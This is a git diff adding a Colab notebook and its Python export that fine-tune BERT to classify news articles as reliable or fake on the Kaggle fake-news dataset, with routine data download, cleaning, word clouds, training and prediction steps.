Args:\n", + " seed (:obj:`int`): The seed to set.\n", + " \"\"\"\n", + " random.seed(seed)\n", + " np.random.seed(seed)\n", + " if is_torch_available():\n", + " torch.manual_seed(seed)\n", + " torch.cuda.manual_seed_all(seed)\n", + " # ^^ safe to call this function even if cuda is not available\n", + " if is_tf_available():\n", + " import tensorflow as tf\n", + "\n", + " tf.random.set_seed(seed)\n", + "\n", + "set_seed(1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "BBSgBl5t2G5t" + }, + "outputs": [], + "source": [ + "# the model we gonna train, base uncased BERT\n", + "# check text classification models here: https://huggingface.co/models?filter=text-classification\n", + "model_name = \"bert-base-uncased\"\n", + "# max sequence length for each document/sentence sample\n", + "max_length = 512" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145, + "referenced_widgets": [ + "c7220a29b2a14ccc8987044605d6f1ec", + "ef9d91c93fb74a4f94ad0872407a04c7", + "e4b3753b938140cdbac1bfff1f63ba09", + "25f7dde2c32c4acdb25bc24b8ca5b313", + "7ae0fecdd1234b71906144e81c0a6ab1", + "3653a74c1ca94b25a3ea52c95dfc0587", + "1a081da141354fa2aad25058d0aa7678", + "869001147458472790d4d55321a0e326", + "97069d80c78a474ba05ad7f03a1eec1f", + "c56ff4e8152d4ccc8cfa9b821c077c36", + "9415fcafd9fd4ccfa4ac5a2226e4f04c", + "ffc52c35a5554f57ad5b498b45064003", + "cde0784e04254b5eb49f53b92ea54588", + "673e98e028074102bc1441f97dd5e247", + "e05ef028960e4b128ba47f6b3faf1241", + "73c0a67491b54e59b6020385ce42cee1", + "d95345cb1b5a4e468c016e7bd6b11b35", + "ef268e43022741cba1b19b436ea9dbb3", + "e13376ed7fa4446cb171837957959d5f", + "953307be2c19462da0bf7d66db7cad9f", + "3a7f0faddcc442518dd3c93bc5e287a4", + "319d08a0e887456090afc7301f78e545", + "5a679ed6a9c74738a6e99d56de4402bc", + "e4ee7d65f85f41d7a342df1166d8d958", + "209e91111bf34fc3ae775f62b258511c", + "f3246d91c82740259cde9e18d9661da4", + "12c21bb187b94c42b536ffa8cc57c6c8", + "017ac4ceb8af464d86b3e30b3fbac283", + "ab199bb314f744129f62a5646cca5978", + "5e7b2bfb681748168ecdcc7033b1a11b", + "32d1817612724162bdf405d35e3b1cce", + "d324b99bcd51417b9b5000543c79ddd6", + "769ec6aa62184828bbc8d265bc7ef36b", + "7cb4d0092c534e819234cfc52c3b8e47", + "fd158d39ffa5481ea6fa6cc5b969e739", + "151f60cdd3f649eeab67049a35902bdb", + "2972cba04af24ee3b5192c272d75bcd4", + "ecd426dbd27a4645be1f40e1adcf19dc", + "6f53d5959f9a4b95852e19d874fefe6c", + "607f0256b8ad43e5b9b78d965d0adab6", + "e8693eaf31154bebab1acf28b0d9e74a", + "10d7ec314e47444eb28ec19a501549d7", + "b4f311aff8e548089aa86f3a09f6c007", + "dabb004515fb40e0b6fd6d997b73729d" + ] + }, + "id": "HZsMvClx2I5u", + "outputId": "1af201af-182a-4f55-9872-2576be9abc32" + }, + "outputs": [], + "source": [ + "# load the tokenizer\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "aVWQAOaTxsw_" + }, + "outputs": [], + "source": [ + "news_df = news_d[news_d['text'].notna()]\n", + "news_df = news_df[news_df[\"author\"].notna()]\n", + "news_df = news_df[news_df[\"title\"].notna()]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "gqvonAiG2L8I" + }, + "outputs": [], + "source": [ + "def prepare_data(df, test_size=0.2, include_title=True, include_author=True):\n", + " texts = []\n", + " labels = []\n", + " for i in range(len(df)):\n", + " text = df[\"text\"].iloc[i]\n", + " label = df[\"label\"].iloc[i]\n", + " if include_title:\n", + " text = df[\"title\"].iloc[i] + \" - \" + text\n", + " if include_author:\n", + " text = df[\"author\"].iloc[i] + \" : \" + text\n", + " if text and label in [0, 1]:\n", + " texts.append(text)\n", + " labels.append(label)\n", + " return train_test_split(texts, labels, test_size=test_size)\n", + "\n", + "train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IiLpso7fsF2B", + "outputId": "de863044-393a-4b57-c233-71354710550e" + }, + "outputs": [], + "source": [ + "print(len(train_texts), len(train_labels))\n", + "print(len(valid_texts), len(valid_labels))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ti8E-RyC6SKK" + }, + "outputs": [], + "source": [ + "# tokenize the dataset, truncate when passed `max_length`, \n", + "# and pad with 0's when less than `max_length`\n", + "train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)\n", + "valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "YcyI8hLq6U9Y" + }, + "outputs": [], + "source": [ + "class NewsGroupsDataset(torch.utils.data.Dataset):\n", + " def __init__(self, encodings, labels):\n", + " self.encodings = encodings\n", + " self.labels = labels\n", + "\n", + " def __getitem__(self, idx):\n", + " item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}\n", + " item[\"labels\"] = torch.tensor([self.labels[idx]])\n", + " return item\n", + "\n", + " def __len__(self):\n", + " return len(self.labels)\n", + "\n", + "# convert our tokenized data into a torch Dataset\n", + "train_dataset = NewsGroupsDataset(train_encodings, train_labels)\n", + "valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 160, + "referenced_widgets": [ + "fab1c16a83244aaebb8e7a1669b5d208", + "474bc31082cc4cd69a1651b16c4d825f", + "60995794ce7d4bd3b5922ff70f6301e6", + "c754de540c8a47cebf3f6e4f050b40cf", + "5104e72cc66d45ef9a32458907c10a4f", + "bd777df747a94960b326b26b4f7e4026", + "040058ca10954543b7bfc5738742796d", + "9de1f4b501a64163858ce6032aa6ee1d", + "cd4631285003490989c95785e253f037", + "981446561c774f84a56f357578e8ec9b", + "7460b86df5f44d89912c9dbbb04063fe" + ] + }, + "id": "ASscw49-6YTH", + "outputId": "ee7cf258-174c-4138-ec7a-16d0bce9f19e" + }, + "outputs": [], + "source": [ + "# load the model\n", + "model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "8a22Zs9Q6dU3" + }, + "outputs": [], + "source": [ + "from sklearn.metrics import accuracy_score\n", + "\n", + "def compute_metrics(pred):\n", + " labels = pred.label_ids\n", + " preds = pred.predictions.argmax(-1)\n", + " # calculate accuracy using sklearn's function\n", + " acc = accuracy_score(labels, preds)\n", + " return {\n", + " 'accuracy': acc,\n", + " }" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "rUVrSKAY6hAG" + }, + "outputs": [], + "source": [ + "training_args = TrainingArguments(\n", + " output_dir='./results', # output directory\n", + " num_train_epochs=1, # total number of training epochs\n", + " per_device_train_batch_size=10, # batch size per device during training\n", + " per_device_eval_batch_size=20, # batch size for evaluation\n", + " warmup_steps=100, # number of warmup steps for learning rate scheduler\n", + " logging_dir='./logs', # directory for storing logs\n", + " load_best_model_at_end=True, # load the best model when finished training (default metric is loss)\n", + " # but you can specify `metric_for_best_model` argument to change to accuracy or other metric\n", + " logging_steps=200, # log & save weights each logging_steps\n", + " save_steps=200,\n", + " evaluation_strategy=\"steps\", # evaluate each `logging_steps`\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "7kkoRH1D6o4q" + }, + "outputs": [], + "source": [ + "trainer = Trainer(\n", + " model=model, # the instantiated Transformers model to be trained\n", + " args=training_args, # training arguments, defined above\n", + " train_dataset=train_dataset, # training dataset\n", + " eval_dataset=valid_dataset, # evaluation dataset\n", + " compute_metrics=compute_metrics, # the callback that computes metrics of interest\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "qFHApKa56rMC", + "outputId": "1327c322-4494-464d-fb1d-008f508cae00" + }, + "outputs": [], + "source": [ + "# train the model\n", + "trainer.train()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 200 + }, + "id": "kc8xZ9QQ6tpV", + "outputId": "5173af72-4acf-4491-fb70-04e22dc12082" + }, + "outputs": [], + "source": [ + "# evaluate the current model after training\n", + "trainer.evaluate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "cFAyggnR6wtU", + "outputId": "6b4078a6-6d8e-4252-9cbd-0c90c4ab55a8" + }, + "outputs": [], + "source": [ + "# saving the fine tuned model & tokenizer\n", + "model_path = \"fake-news-bert-base-uncased\"\n", + "model.save_pretrained(model_path)\n", + "tokenizer.save_pretrained(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "EQ9LP_Ea6zjJ" + }, + "outputs": [], + "source": [ + "def get_prediction(text, convert_to_label=False):\n", + " # prepare our text into tokenized sequence\n", + " inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors=\"pt\").to(\"cuda\")\n", + " # perform inference to our model\n", + " outputs = model(**inputs)\n", + " # get output probabilities by doing softmax\n", + " probs = outputs[0].softmax(1)\n", + " # executing argmax function to get the candidate label\n", + " d = {\n", + " 0: \"reliable\",\n", + " 1: \"fake\"\n", + " }\n", + " if convert_to_label:\n", + " return d[int(probs.argmax())]\n", + " else:\n", + " return int(probs.argmax())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iZudoyZCvKS0" + }, + "outputs": [], + "source": [ + "real_news = \"\"\"\n", + "Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times\",Daniel Victor,\"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen, of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry — scouts, executives, players and fans — will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. L. Draft, and he quickly developed a reputation for clutch performances, including a memorable pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015.\n", + "\"\"\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jk6rLQ8oxIoW", + "outputId": "44932e8f-f02b-41a3-96c9-c69ada7bdaf2" + }, + "outputs": [], + "source": [ + "get_prediction(real_news, convert_to_label=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mSi5cC-r_rMt" + }, + "outputs": [], + "source": [ + "# read the test set\n", + "test_df = pd.read_csv(\"test.csv\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "N69rpfDrAWiE", + "outputId": "62bdc6bd-00b0-46b0-e6e4-50a239dab299" + }, + "outputs": [], + "source": [ + "test_df.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + 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-*- coding: utf-8 -*- +"""fakenews_seq_classification.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1e_3Zn4mPSYaMvRvLeOtA8AYXqOSbgkgc +""" + +!pip install -q kaggle + +from google.colab import files + +files.upload() + +!rm -rf ~/.kaggle +!mkdir ~/.kaggle +!cp kaggle.json ~/.kaggle/ + +!chmod 600 ~/.kaggle/kaggle.json + +!kaggle competitions download -c fake-news + +!unzip test.csv.zip +!unzip train.csv.zip + +!pip install gdown + +# download from Google Drive +!gdown "https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t" + +!unzip fake-news.zip + +### Import all library +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import seaborn as sns + +import nltk +nltk.download('stopwords') +nltk.download('wordnet') + +# load the dataset +news_d = pd.read_csv("train.csv") +submit_test = pd.read_csv("test.csv") + +## Shape and colums of train dataset +print(" Shape of News data :: ", news_d.shape) +print(" News data columns", news_d.columns) + +## by using df.head(),We can immediately familiarize ourselves with the dataset. +news_d.head() + +#Text Word startistics: min.mean, max and interquartile range + +txt_length = news_d.text.str.split().str.len() +txt_length.describe() + +#Title statistics + +title_length = news_d.title.str.split().str.len() +title_length.describe() + +sns.countplot(x="label", data=news_d); +print("1: Unreliable") +print("0: Reliable") +print("Distribution of labels:") +print(news_d.label.value_counts()); + +print(round(news_d.label.value_counts(normalize=True),2)*100); + +# Constants that are used to sanitize the datasets +column_n = ['id', 'title', 'author', 'text', 'label'] +remove_c = ['id','author'] +categorical_features = [] +target_col = ['label'] +text_f = ['title', 'text'] + +# Clean Datasets +import nltk +from nltk.corpus import stopwords +import re +from nltk.stem.porter import PorterStemmer +from collections import Counter + +ps = PorterStemmer() +wnl = nltk.stem.WordNetLemmatizer() + +stop_words = stopwords.words('english') +stopwords_dict = Counter(stop_words) + +# Removed unused clumns +def remove_unused_c(df,column_n=remove_c): + df = df.drop(column_n,axis=1) + return df + +# Impute null values with None +def null_process(feature_df): + for col in text_f: + feature_df.loc[feature_df[col].isnull(), col] = "None" + return feature_df + +def clean_dataset(df): + # remove unused column + df = remove_unused_c(df) + #impute null values + df = null_process(df) + return df + +# Cleaning text from unused characters +def clean_text(text): + text = str(text).replace(r'http[\w:/\.]+', ' ') # removing urls + text = str(text).replace(r'[^\.\w\s]', ' ') # remove everything but characters and punctuation + text = str(text).replace('[^a-zA-Z]', ' ') + text = str(text).replace(r'\s\s+', ' ') + text = text.lower().strip() + #text = ' '.join(text) + return text + +## Nltk Preprocessing include: +# Stop words, Stemming and Lemmetization +# For our project we use only Stop word removal +def nltk_preprocess(text): + text = clean_text(text) + wordlist = re.sub(r'[^\w\s]', '', text).split() + #text = ' '.join([word for word in wordlist if word not in stopwords_dict]) + #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict] + text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict]) + return text + +# Perform data cleaning on train and test dataset by calling clean_dataset function +df = clean_dataset(news_d) +# apply preprocessing on text through apply method by calling the function nltk_preprocess +df["text"] = df.text.apply(nltk_preprocess) +# apply preprocessing on title through apply method by calling the function nltk_preprocess +df["title"] = df.title.apply(nltk_preprocess) + +# Dataset after cleaning and preprocessing step +df.head() + +from wordcloud import WordCloud, STOPWORDS +import matplotlib.pyplot as plt + +# initialize the word cloud +wordcloud = WordCloud( background_color='black', width=800, height=600) +# generate the word cloud by passing the corpus +text_cloud = wordcloud.generate(' '.join(df['text'])) +# plotting the word cloud +plt.figure(figsize=(20,30)) +plt.imshow(text_cloud) +plt.axis('off') +plt.show() + +true_n = ' '.join(df[df['label']==0]['text']) +wc = wordcloud.generate(true_n) +plt.figure(figsize=(20,30)) +plt.imshow(wc) +plt.axis('off') +plt.show() + +fake_n = ' '.join(df[df['label']==1]['text']) +wc= wordcloud.generate(fake_n) +plt.figure(figsize=(20,30)) +plt.imshow(wc) +plt.axis('off') +plt.show() + +def plot_top_ngrams(corpus, title, ylabel, xlabel="Number of Occurences", n=2): + """Utility function to plot top n-grams""" + true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20] + true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8)) + plt.title(title) + plt.ylabel(ylabel) + plt.xlabel(xlabel) + plt.show() + +plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', "Bigram", n=2) + +plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', "Bigram", n=2) + +plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', "Trigrams", n=3) + +plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', "Trigrams", n=3) + +"""# Fine-tuning BERT""" + +!pip install transformers + +import torch +from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available +from transformers import BertTokenizerFast, BertForSequenceClassification +from transformers import Trainer, TrainingArguments +import numpy as np +from sklearn.model_selection import train_test_split + +import random + +def set_seed(seed: int): + """ + Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if + installed). + + Args: + seed (:obj:`int`): The seed to set. + """ + random.seed(seed) + np.random.seed(seed) + if is_torch_available(): + torch.manual_seed(seed) + torch.cuda.manual_seed_all(seed) + # ^^ safe to call this function even if cuda is not available + if is_tf_available(): + import tensorflow as tf + + tf.random.set_seed(seed) + +set_seed(1) + +# the model we gonna train, base uncased BERT +# check text classification models here: https://huggingface.co/models?filter=text-classification +model_name = "bert-base-uncased" +# max sequence length for each document/sentence sample +max_length = 512 + +# load the tokenizer +tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True) + +news_df = news_d[news_d['text'].notna()] +news_df = news_df[news_df["author"].notna()] +news_df = news_df[news_df["title"].notna()] + +def prepare_data(df, test_size=0.2, include_title=True, include_author=True): + texts = [] + labels = [] + for i in range(len(df)): + text = df["text"].iloc[i] + label = df["label"].iloc[i] + if include_title: + text = df["title"].iloc[i] + " - " + text + if include_author: + text = df["author"].iloc[i] + " : " + text + if text and label in [0, 1]: + texts.append(text) + labels.append(label) + return train_test_split(texts, labels, test_size=test_size) + +train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df) + +print(len(train_texts), len(train_labels)) +print(len(valid_texts), len(valid_labels)) + +# tokenize the dataset, truncate when passed `max_length`, +# and pad with 0's when less than `max_length` +train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length) +valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length) + +class NewsGroupsDataset(torch.utils.data.Dataset): + def __init__(self, encodings, labels): + self.encodings = encodings + self.labels = labels + + def __getitem__(self, idx): + item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()} + item["labels"] = torch.tensor([self.labels[idx]]) + return item + + def __len__(self): + return len(self.labels) + +# convert our tokenized data into a torch Dataset +train_dataset = NewsGroupsDataset(train_encodings, train_labels) +valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels) + +# load the model +model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2) + +from sklearn.metrics import accuracy_score + +def compute_metrics(pred): + labels = pred.label_ids + preds = pred.predictions.argmax(-1) + # calculate accuracy using sklearn's function + acc = accuracy_score(labels, preds) + return { + 'accuracy': acc, + } + +training_args = TrainingArguments( + output_dir='./results', # output directory + num_train_epochs=1, # total number of training epochs + per_device_train_batch_size=10, # batch size per device during training + per_device_eval_batch_size=20, # batch size for evaluation + warmup_steps=100, # number of warmup steps for learning rate scheduler + logging_dir='./logs', # directory for storing logs + load_best_model_at_end=True, # load the best model when finished training (default metric is loss) + # but you can specify `metric_for_best_model` argument to change to accuracy or other metric + logging_steps=200, # log & save weights each logging_steps + save_steps=200, + evaluation_strategy="steps", # evaluate each `logging_steps` +) + +trainer = Trainer( + model=model, # the instantiated Transformers model to be trained + args=training_args, # training arguments, defined above + train_dataset=train_dataset, # training dataset + eval_dataset=valid_dataset, # evaluation dataset + compute_metrics=compute_metrics, # the callback that computes metrics of interest +) + +# train the model +trainer.train() + +# evaluate the current model after training +trainer.evaluate() + +# saving the fine tuned model & tokenizer +model_path = "fake-news-bert-base-uncased" +model.save_pretrained(model_path) +tokenizer.save_pretrained(model_path) + +def get_prediction(text, convert_to_label=False): + # prepare our text into tokenized sequence + inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors="pt").to("cuda") + # perform inference to our model + outputs = model(**inputs) + # get output probabilities by doing softmax + probs = outputs[0].softmax(1) + # executing argmax function to get the candidate label + d = { + 0: "reliable", + 1: "fake" + } + if convert_to_label: + return d[int(probs.argmax())] + else: + return int(probs.argmax()) + +real_news = """ +Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times",Daniel Victor,"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen, of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry — scouts, executives, players and fans — will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. L. Draft, and he quickly developed a reputation for clutch performances, including a memorable pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015. +""" + +get_prediction(real_news, convert_to_label=True) + +# read the test set +test_df = pd.read_csv("test.csv") + +test_df.head() + +# make a copy of the testing set +new_df = test_df.copy() + +# add a new column that contains the author, title and article content +new_df["new_text"] = new_df["author"].astype(str) + " : " + new_df["title"].astype(str) + " - " + new_df["text"].astype(str) +new_df.head() + +# get the prediction of all the test set +new_df["label"] = new_df["new_text"].apply(get_prediction) + +# make the submission file +final_df = new_df[["id", "label"]] +final_df.to_csv("submit_final.csv", index=False) \ No newline at end of file diff --git a/machine-learning/nlp/fake-news-classification/requirements.txt b/machine-learning/nlp/fake-news-classification/requirements.txt new file mode 100644 index 00000000..1d23d4ae --- /dev/null +++ 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"grid_row": null, + "max_height": null, + "align_content": null, + "visibility": null, + "align_self": null, + "height": null, + "min_height": null, + "padding": null, + "grid_auto_rows": null, + "grid_gap": null, + "max_width": null, + "order": null, + "_view_module_version": "1.2.0", + "grid_template_areas": null, + "object_position": null, + "object_fit": null, + "grid_auto_columns": null, + "margin": null, + "display": null, + "left": null + } + }, + "a90d42c930fb4fcc91a9045cbb21cda2": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_view_name": "StyleView", + "_model_name": "DescriptionStyleModel", + "description_width": "", + "_view_module": "@jupyter-widgets/base", + "_model_module_version": "1.5.0", + "_view_count": null, + "_view_module_version": "1.2.0", + "_model_module": "@jupyter-widgets/controls" + } + }, + "d79410065a6a480191b7e84384e6786a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_view_name": "LayoutView", + "grid_template_rows": null, + "right": null, + "justify_content": null, + "_view_module": "@jupyter-widgets/base", + "overflow": null, + "_model_module_version": "1.2.0", + "_view_count": null, + "flex_flow": null, + "width": null, + "min_width": null, + "border": null, + "align_items": null, + "bottom": null, + "_model_module": "@jupyter-widgets/base", + "top": null, + "grid_column": null, + "overflow_y": null, + "overflow_x": null, + "grid_auto_flow": null, + "grid_area": null, + "grid_template_columns": null, + "flex": null, + "_model_name": "LayoutModel", + "justify_items": null, + "grid_row": null, + "max_height": null, + "align_content": null, + "visibility": null, + "align_self": null, + "height": null, + "min_height": null, + "padding": null, + "grid_auto_rows": null, + "grid_gap": null, + "max_width": null, + "order": null, + "_view_module_version": "1.2.0", + "grid_template_areas": null, + "object_position": null, + "object_fit": null, + "grid_auto_columns": null, + "margin": null, + "display": null, + "left": null + } + } + } + } + }, + "cells": [ + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Vy33spUDl6PY", + "outputId": "9b36a775-216c-4891-be40-6540af80fc4a" + }, + "source": [ + "!pip install transformers==4.12.4 sentencepiece" + ], + "execution_count": 1, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting transformers==4.12.4\n", + " Downloading transformers-4.12.4-py3-none-any.whl (3.1 MB)\n", + "\u001b[K |████████████████████████████████| 3.1 MB 39.3 MB/s \n", + "\u001b[?25hCollecting sentencepiece\n", + " Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n", + "\u001b[K |████████████████████████████████| 1.2 MB 53.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (2.23.0)\n", + "Collecting tokenizers<0.11,>=0.10.1\n", + " Downloading tokenizers-0.10.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (3.3 MB)\n", + "\u001b[K |████████████████████████████████| 3.3 MB 40.9 MB/s \n", + "\u001b[?25hRequirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (21.2)\n", + "Requirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (4.62.3)\n", + "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (4.8.2)\n", + "Collecting pyyaml>=5.1\n", + " Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n", + "\u001b[K |████████████████████████████████| 596 kB 28.6 MB/s \n", + "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n", + " Downloading huggingface_hub-0.1.2-py3-none-any.whl (59 kB)\n", + "\u001b[K |████████████████████████████████| 59 kB 5.8 MB/s \n", + "\u001b[?25hRequirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (2019.12.20)\n", + "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (1.19.5)\n", + "Collecting sacremoses\n", + " Downloading 